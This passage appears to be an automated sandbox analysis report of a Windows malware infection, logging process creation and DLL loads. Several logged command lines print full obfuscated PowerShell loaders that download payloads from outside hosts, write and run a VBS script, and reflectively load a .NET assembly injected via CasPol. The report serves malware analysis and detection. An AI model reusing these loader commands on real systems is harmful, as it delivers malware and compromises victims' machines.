@(ifdtxt.GDDRDH/54/92.'+'022.3.291//:ptthifd, ifddesativadoifd, ifddesativadoifd, ifddesativadoifd, ifdCasPolifd, ifddesativ'+'ado'+'ifd, ifddesat'+'ivadoifd,ifddesativadoifd,ifddesativadoifd,ifddesativadoifd,ifddesativadoifd,ifddesat'+'ivadoifd,ifd1ifd,ifddesativadoif'+'d));').rePLACe('0Ql',[StrinG][ChAr]124).rePLACe('ifd',[StrinG][ChAr]39).rePLACe(([ChAr]111+[ChAr]112+[ChAr]105),'$'))"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WiNdowsPowErshELL\V1.0\PoWersHeLl.exe" "POWerSHelL.eXE -Ex bYPAsS -NOp -W 1 -C dEvICeCredEntIaldepLoYmENT ; INVokE-EXpreSSIOn($(iNVOke-eXPResSIon('[systEM.teXt.Encoding]'+[cHAR]58+[CHaR]0X3A+'uTF8.GeTsTring([SySTEM.CoNveRT]'+[CHar]58+[cHar]0X3a+'frombASe64StRing('+[chAr]34+'JDV0ZiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkZC10eXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tZW1CZXJEZWZJbklUaW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxNT24uZExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUY2tWTGosc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFZJVixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRVhsblBKcnBOUWMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBiRWp6LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5WlZTc0RNZGRPKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpQXl3bmkiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQU1lU1BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSXJSeiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ1dGY6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yMjAuMjkvNDUvc2VlaGF2aW5nZmFjaW5nYmVzdHRoaWduc3RvZ2V0bWViYWNrd2l0aGVudGlyZXRpbWVncmVhdC50SUYiLCIkRU5WOkFQUERBVEFcc2VlaGF2aW5nZmFjaW5nYmVzdHRoaWduc3RvZ2V0bWViYWNrd2l0aGVudGlyZXRpbWVncmUudmJTIiwwLDApO3N0QXJULXNsRUVwKDMpO0lFWCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOdjpBUFBEQVRBXHNlZWhhdmluZ2ZhY2luZ2Jlc3R0aGlnbnN0b2dldG1lYmFja3dpdGhlbnRpcmV0aW1lZ3JlLnZiUyI='+[chaR]34+'))')))"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex bYPAsS -NOp -W 1 -C dEvICeCredEntIaldepLoYmENT	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\2c1bgmxj\2c1bgmxj.cmdline"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seehavingfacingbestthignstogetmebackwithentiretimegre.vbS"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RES883E.tmp" "c:\Users\user\AppData\Local\Temp\2c1bgmxj\CSC89B293BFADB94B3BBFCBA07F5ADB38CA.TMP"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiAoICR2ZXJCb1NlcHJFRmVyZU5DZS5UT3N0ckluRygpWzEsM10rJ1gnLUpPaU4nJykoKCdvcGlpbWFnZVVybCA9IGlmZGh0dHBzOi8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9MkFhX2JXbzlSZXU0JysnNXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3RHcm5USUNmRmgnKydtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9JysnZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgaWZkO29waXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7b3BpaW1hZ2VCeXRlcyA9IG9waXdlYkNsaWVudC5Eb3dubG9hZERhdGEob3BpaW1hZ2VVcmwpO29waWltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKG8nKydwaWltYWdlQnl0ZXMpO29waXN0YXJ0RmxhZyA9IGlmZDw8QkFTRTY0X1NUQVJUPj5pZmQ7b3BpZW5kRmxhZyA9IGlmZDw8QkFTRTY0X0VORD4+aWZkO29waXN0YXJ0SW5kZXggPSBvcGlpbWFnZVRleHQuSW5kZXhPZihvJysncGlzJysndGFydEZsYWcpO29waWVuZEluZGV4ID0gb3BpaW1hZ2VUZXh0LkluZGV4T2Yob3BpZW5kRmxhZyk7b3Bpc3RhcnRJbmRleCAtJysnZ2UgMCAtYW5kIG9waWVuZEluZGV4IC1ndCBvcGlzdGFydEluZGUnKyd4O29waXN0YXJ0SW5kZXggKz0gb3Bpc3RhcnRGbGFnLkxlbmd0aDtvcCcrJ2liYXNlNjRMZW5ndGggPSBvcGllbmRJbmRleCAtIG9waXN0YXJ0SW5kZXg7b3BpYmFzZTY0Q29tbWFuZCA9IG9waWltYWdlVGV4dC5TdWJzdCcrJ3Jpbmcob3Bpc3RhcnQnKydJbmRleCwgb3BpYmFzZTY0TGVuZ3RoKTtvcGliYXNlNjRSZXZlcnNlZCA9IC1qbycrJ2luIChvcGliYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgMFEnKydsIEZvckVhY2gtT2JqZWN0IHsgb3BpXyB9KVsnKyctMS4uLShvcGliYXNlNjRDb21tYW5kLkxlbmd0aCldO29waWNvbW1hbmRCeXRlcyA9IFtTeScrJ3N0ZW0uQ29udicrJ2UnKydydF06OkZyb21CYXNlJysnNjRTdHJpbmcob3BpYmFzZTY0UmV2ZXJzZWQpO29waWxvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW8nKyduLkFzc2VtYmx5XTo6TG9hZChvcGljb21tYW5kQnl0ZXMpO29waXZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoaWYnKydkVkFJaWZkJysnKTtvcGl2YWlNZXRob2QuSW52b2tlKG9waW51bGwsIEAoaWZkdHh0LkdERFJESC81NC85Mi4nKycwMjIuMy4yOTEvLzpwdHRoaWZkLCBpZmRkZXNhdGl2YWRvaWZkLCBpZmRkZXNhdGl2YWRvaWZkLCBpZmRkZXNhdGl2YWRvaWZkLCBpZmRDYXNQb2xpZmQsIGlmZGRlc2F0aXYnKydhZG8nKydpZmQsIGlmZGRlc2F0JysnaXZhZG9pZmQsaWZkZGVzYXRpdmFkb2lmZCxpZmRkZXNhdGl2YWRvaWZkLGlmZGRlc2F0aXZhZG9pZmQsaWZkZGVzYXRpdmFkb2lmZCxpZmRkZXNhdCcrJ2l2YWRvaWZkLGlmZDFpZmQsaWZkZGVzYXRpdmFkb2lmJysnZCkpOycpLnJlUExBQ2UoJzBRbCcsW1N0cmluR11bQ2hBcl0xMjQpLnJlUExBQ2UoJ2lmZCcsW1N0cmluR11bQ2hBcl0zOSkucmVQTEFDZSgoW0NoQXJdMTExK1tDaEFyXTExMitbQ2hBcl0xMDUpLCckJykp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "& ( $verBoSeprEFereNCe.TOstrInG()[1,3]+'X'-JOiN'')(('opiimageUrl = ifdhttps://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu4'+'5t7BU1kVgsd9pT9pgSSlvStGrnTICfFh'+'mTKj3LC6SQtIcOc_T35w&pk_vid='+'fd4f614bb209c62c1730945176a0904f ifd;opiwebClient = New-Object System.Net.WebClient;opiimageBytes = opiwebClient.DownloadData(opiimageUrl);opiimageText = [System.Text.Encoding]::UTF8.GetString(o'+'piimageBytes);opistartFlag = ifd<<BASE64_START>>ifd;opiendFlag = ifd<<BASE64_END>>ifd;opistartIndex = opiimageText.IndexOf(o'+'pis'+'tartFlag);opiendIndex = opiimageText.IndexOf(opiendFlag);opistartIndex -'+'ge 0 -and opiendIndex -gt opistartInde'+'x;opistartIndex += opistartFlag.Length;op'+'ibase64Length = opiendIndex - opistartIndex;opibase64Command = opiimageText.Subst'+'ring(opistart'+'Index, opibase64Length);opibase64Reversed = -jo'+'in (opibase64Command.ToCharArray() 0Q'+'l ForEach-Object { opi_ })['+'-1..-(opibase64Command.Length)];opicommandBytes = [Sy'+'stem.Conv'+'e'+'rt]::FromBase'+'64String(opibase64Reversed);opiloadedAssembly = [System.Reflectio'+'n.Assembly]::Load(opicommandBytes);opivaiMethod = [dnlib.IO.Home].GetMethod(if'+'dVAIifd'+');opivaiMethod.Invoke(opinull, @(ifdtxt.GDDRDH/54/92.'+'022.3.291//:ptthifd, ifddesativadoifd, ifddesativadoifd, ifddesativadoifd, ifdCasPolifd, ifddesativ'+'ado'+'ifd, ifddesat'+'ivadoifd,ifddesativadoifd,ifddesativadoifd,ifddesativadoifd,ifddesativadoifd,ifddesat'+'ivadoifd,ifd1ifd,ifddesativadoif'+'d));').rePLACe('0Ql',[StrinG][ChAr]124).rePLACe('ifd',[StrinG][ChAr]39).rePLACe(([ChAr]111+[ChAr]112+[ChAr]105),'$'))"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msimtf.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: jscript9.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
